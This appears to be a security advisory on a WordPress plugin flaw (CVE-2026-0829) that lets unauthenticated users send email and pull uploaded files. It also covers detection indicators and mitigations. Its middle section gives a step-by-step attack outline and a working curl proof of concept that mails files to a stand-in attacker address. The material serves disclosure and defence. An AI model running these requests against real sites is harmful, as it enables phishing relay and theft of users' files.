CVE-2026-0829: 
WordPress vulnerability analysis and mitigation

CVE-2026-0829 is a Missing Authorization vulnerability in the Frontend File Manager Plugin for WordPress (also known as nmedia-user-file-uploader) that allows unauthenticated attackers to send arbitrary emails through the affected WordPress site and access uploaded files by guessing file IDs. The vulnerability affects plugin versions through 23.5, with no patched version publicly known at the time of disclosure. It was publicly disclosed on January 27, 2026, and assigned a CVSS v3.1 base score of 5.8 (Medium) (WPScan, Red Hat CVE).

The root cause is CWE-862 (Missing Authorization): the plugin's wpfm_send_file_in_email AJAX action, accessible via wp-admin/admin-ajax.php, performs no authentication or capability checks before processing requests (WPScan). An unauthenticated attacker can send a crafted HTTP POST request specifying an arbitrary emailaddress, file_id, and message to trigger the email-sending functionality. Additionally, because file IDs appear to be sequential or guessable integers, attackers can enumerate file_id values to access and share files uploaded by legitimate users without any permission check. The vulnerability was discovered and reported by researcher Yiğit İbrahim Sağlam (WPScan).

Successful exploitation enables two distinct attack scenarios: first, the WordPress site can be abused as an open email relay to send spam or phishing emails to arbitrary recipients, potentially damaging the site's domain reputation and facilitating social engineering attacks against third parties; second, attackers can enumerate file IDs to access and share sensitive files uploaded by legitimate users, resulting in unauthorized disclosure of potentially confidential information. The integrity impact is low (unauthorized email sending), and the confidentiality impact relates to file exposure, while availability is not directly affected (WPScan, Red Hat CVE).

A public proof-of-concept (PoC) is available via WPScan, requiring only a single unauthenticated curl POST request to exploit — no credentials or special conditions are needed (WPScan). Nuclei templates for automated detection were added to the ProjectDiscovery nuclei-templates repository shortly after disclosure, lowering the bar for mass scanning (Nuclei Templates). The EPSS score is 0.022% (very low), and there is no current evidence of in-the-wild exploitation or CISA KEV catalog listing. No specific threat actor attribution has been reported.

1. Reconnaissance: Identify WordPress sites running the Frontend File Manager Plugin (nmedia-user-file-uploader) version ≤ 23.5 using tools like WPScan, Shodan, or nuclei with the available detection template.
2. Confirm vulnerability: Send a test POST request to https://TARGET/wp-admin/admin-ajax.php with action=wpfm_send_file_in_email, a guessed file_id (e.g., 1), and an attacker-controlled emailaddress. A response of {"success":true,"data":"File is shared successfully"} confirms the site is vulnerable.
3. Abuse as email relay: Craft POST requests with arbitrary recipient email addresses and custom message bodies to send phishing or spam emails through the victim site's mail infrastructure, leveraging the site's domain reputation.
4. Enumerate file IDs: Iterate file_id values (e.g., 1, 2, 3, ...) in repeated POST requests to discover and share uploaded files with an attacker-controlled email address, exfiltrating any sensitive documents or media uploaded by legitimate users.

Example PoC command:

curl -X POST "https://TARGET/wp-admin/admin-ajax.php" \
  -d "action=wpfm_send_file_in_email" \
  -d "file_id=1" \
  -d "emailaddress=attacker@example.com" \
  -d "message=PoC"

(WPScan)

• Network: Unusual or high-volume HTTP POST requests to /wp-admin/admin-ajax.php with the parameter action=wpfm_send_file_in_email from unauthenticated (non-logged-in) sources; requests originating from unexpected IP ranges or automated scanning tools.
• Logs: Web server access logs showing repeated POST requests to admin-ajax.php with wpfm_send_file_in_email action and varying file_id values (sequential enumeration pattern); WordPress debug logs showing email dispatch events not initiated by authenticated users.
• Email: Outbound emails sent from the WordPress site to external or unknown recipients not associated with any user action; increased bounce-back or spam complaint notifications from the site's mail server.
• File System: No specific file system artifacts expected, but review WordPress mail logs or SMTP relay logs for anomalous outbound email volume.

As of the disclosure date (January 27, 2026), no patched version of the Frontend File Manager Plugin (nmedia-user-file-uploader) has been publicly identified (WPScan). Site administrators should consider deactivating or removing the plugin until a fix is released. As a workaround, web application firewall (WAF) rules can be configured to block unauthenticated POST requests to wp-admin/admin-ajax.php containing the action=wpfm_send_file_in_email parameter. Additionally, restricting outbound email sending at the server or SMTP relay level can limit abuse of the open relay vector.

The vulnerability was noted in the security community via Mastodon (infosec.exchange) and LinkedIn shortly after disclosure, and nuclei detection templates were contributed to the ProjectDiscovery repository, indicating moderate researcher interest (Nuclei Templates). The original researcher, Yiğit İbrahim Sağlam, submitted the finding to WPScan where it was verified (WPScan). No major vendor statements or significant media coverage beyond standard vulnerability aggregator listings have been observed.